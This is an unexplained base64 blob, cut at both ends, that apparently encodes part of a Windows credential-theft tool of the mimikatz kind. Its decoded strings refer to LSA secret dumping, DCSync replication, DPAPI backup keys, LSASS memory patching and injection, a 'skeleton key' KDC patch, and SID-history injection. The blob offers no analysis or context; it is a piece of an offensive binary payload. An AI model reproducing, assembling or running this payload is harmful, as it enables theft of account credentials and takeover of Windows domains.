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ASQBEACAAJwAlAHMAJwAKAAoAAAAAAAAAAAAAAAAAAAAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAdQBzAGUAcgAgAGEAYwBjAG8AdQBuAHQACgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABSAFMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMALAAgAGkAbgB2AGEAbABpAGQAIABkAHcATwB1AHQAVgBlAHIAcwBpAG8AbgAgAGEAbgBkAC8AbwByACAAYwBOAHUAbQBPAGIAagBlAGMAdABzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABvAHIAIABnAHUAaQBkACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAAAAlAHMAJQAuACoAcwAlAHMAAAAAAAAAAAAgACAAIAAgACUAcwAtACUAMgB1ADoAIAAAAAAAAAAAACAAIABIAGEAcwBoACAAJQBzADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjAF8AZABlAGMAcgB5AHAAdAAgADsAIABSAHQAbABEAGUAYwByAHkAcAB0AEQARQBTADIAYgBsAG8AYwBrAHMAMQBEAFcATwBSAEQAAAAAAAAAAABPAGIAagBlAGMAdAAgAFIARABOACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAABTAEMAUgBJAFAAVAAAAAAAQQBDAEMATwBVAE4AVABEAEkAUwBBAEIATABFAAAAAAAwAHgANAAgAD8AAAAAAAAASABPAE0ARQBEAEkAUgBfAFIARQBRAFUASQBSAEUARAAAAAAAAAAAAEwATwBDAEsATwBVAFQAAABQAEEAUwBTAFcARABfAE4ATwBUAFIARQBRAEQAAAAAAFAAQQBTAFMAVwBEAF8AQwBBAE4AVABfAEMASABBAE4ARwBFAAAAAAAAAAAAAAAAAEUATgBDAFIAWQBQAFQARQBEAF8AVABFAFgAVABfAFAAQQBTAFMAVwBPAFIARABfAEEATABMAE8AVwBFAEQAAABUAEUATQBQAF8ARABVAFAATABJAEMAQQBUAEUAXwBBAEMAQwBPAFUATgBUAAAAAABOAE8AUgBNAEEATABfAEEAQwBDAE8AVQBOAFQAAAAAADAAeAA0ADAAMAAgAD8AAABJAE4AVABFAFIARABPAE0AQQBJAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAAAFcATwBSAEsAUwBUAEEAVABJAE8ATgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAAAAAAAAUwBFAFIAVgBFAFIAXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAAAAAAMAB4ADQAMAAwADAAIAA/AAAAAAAAAAAAMAB4ADgAMAAwADAAIAA/AAAAAAAAAAAARABPAE4AVABfAEUAWABQAEkAUgBFAF8AUABBAFMAUwBXAEQAAAAAAE0ATgBTAF8ATABPAEcATwBOAF8AQQBDAEMATwBVAE4AVAAAAAAAAABTAE0AQQBSAFQAQwBBAFIARABfAFIARQBRAFUASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAFQAXwBEAEUATABFAEcAQQBUAEUARAAAAAAAAABVAFMARQBfAEQARQBTAF8ASwBFAFkAXwBPAE4ATABZAAAAAAAAAAAARABPAE4AVABfAFIARQBRAFUASQBSAEUAXwBQAFIARQBBAFUAVABIAAAAAAAAAAAAUABBAFMAUwBXAE8AUgBEAF8ARQBYAFAASQBSAEUARAAAAAAAAAAAAAAAAAAAAAAAVABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABOAE8AXwBBAFUAVABIAF8ARABBAFQAQQBfAFIARQBRAFUASQBSAEUARAAAAAAAAABQAEEAUgBUAEkAQQBMAF8AUwBFAEMAUgBFAFQAUwBfAEEAQwBDAE8AVQBOAFQAAABVAFMARQBfAEEARQBTAF8ASwBFAFkAUwAAAAAAAAAAADAAeAAxADAAMAAwADAAMAAwADAAIAA/AAAAAAAAAAAAMAB4ADIAMAAwADAAMAAwADAAMAAgAD8AAAAAAAAAAAAwAHgANAAwADAAMAAwADAAMAAwACAAPwAAAAAAAAAAADAAeAA4ADAAMAAwADAAMAAwADAAIAA/AAAAAAAAAAAARABPAE0AQQBJAE4AXwBPAEIASgBFAEMAVAAAAAAAAABHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAAAAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8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AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAwACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAxACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIAByAGUAYQBsACAAYQBzAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABMb2NhbEFsbG9jAAAAAAAAawBkAGMAcwB2AGMALgBkAGwAbAAAAAAAWwBLAEQAQwBdACAAZABhAHQAYQAKAAAAWwBLAEQAQwBdACAAcwB0AHIAdQBjAHQACgAAAAAAAABbAEsARABDAF0AIABrAGUAeQBzACAAcABhAHQAYwBoACAATwBLAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA